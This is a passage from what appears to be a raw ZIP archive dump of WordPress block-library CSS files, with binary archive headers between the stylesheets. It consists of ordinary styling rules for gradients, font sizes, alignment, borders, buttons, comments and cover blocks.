  background:linear-gradient(135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  left:5px;
  line-height:normal;
  padding:15px 23px 14px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-right-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-left-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-right-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-left-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}PK1Xd[���=��dist/block-library/theme.cssnu�[���.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}

.wp-block-code{
  border:1px solid #ccc;
  border-radius:4px;
  font-family:Menlo,Consolas,monaco,monospace;
  padding:.8em 1em;
}

.wp-block-embed :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed :where(figcaption){
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}

.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}

:root :where(.wp-block-image figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme :root :where(.wp-block-image figcaption){
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}

.wp-block-pullquote{
  border-bottom:4px solid;
  border-top:4px solid;
  color:currentColor;
  margin-bottom:1.75em;
}
.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  text-transform:uppercase;
}

.wp-block-quote{
  border-left:.25em solid;
  margin:0 0 1.75em;
  padding-left:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote:where(.has-text-align-right){
  border-left:none;
  border-right:.25em solid;
  padding-left:0;
  padding-right:1em;
}
.wp-block-quote:where(.has-text-align-center){
  border:none;
  padding-left:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){
  border:none;
}

.wp-block-search .wp-block-search__label{
  font-weight:700;
}

.wp-block-search__button{
  border:1px solid #ccc;
  padding:.375em .625em;
}

:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}

.wp-block-separator.has-css-opacity{
  opacity:.4;
}

.wp-block-separator{
  border:none;
  border-bottom:2px solid;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-separator.has-alpha-channel-opacity{
  opacity:1;
}
.wp-block-separator:not(.is-style-wide):not(.is-style-dots){
  width:100px;
}
.wp-block-separator.has-background:not(.is-style-dots){
  border-bottom:none;
  height:1px;
}
.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){
  height:2px;
}

.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}

:root :where(.wp-block-template-part.has-background){
  margin-bottom:0;
  margin-top:0;
  padding:1.25em 2.375em;
}PK1Xd[Pf����"dist/block-library/classic.min.cssnu�[���.wp-block-button__link{background-color:#32373c;border-radius:9999px;box-shadow:none;color:#fff;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-file__button{background:#32373c;color:#fff}PK1Xd[��Pi
i
%dist/block-library/common-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;line-height:normal;padding:15px 23px 14px;right:5px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-left-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-right-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-left-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-right-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}PK1Xd[�>����$dist/block-library/style-rtl.min.cssnu�[���@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:initial;background-image:none}.wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter,.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label{display:block;width:100%}.wp-block-code{box-sizing:border-box}.wp-block-code code{direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap}.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center}.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-right:2rem}.wp-block-comment-template.alignleft{float:right}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:left}.wp-block-comment-date{box-sizing:border-box}.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.wp-block-comment-author-name,.wp-block-comment-content,.wp-block-comment-edit-link,.wp-block-comment-reply-link{box-sizing:border-box}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right 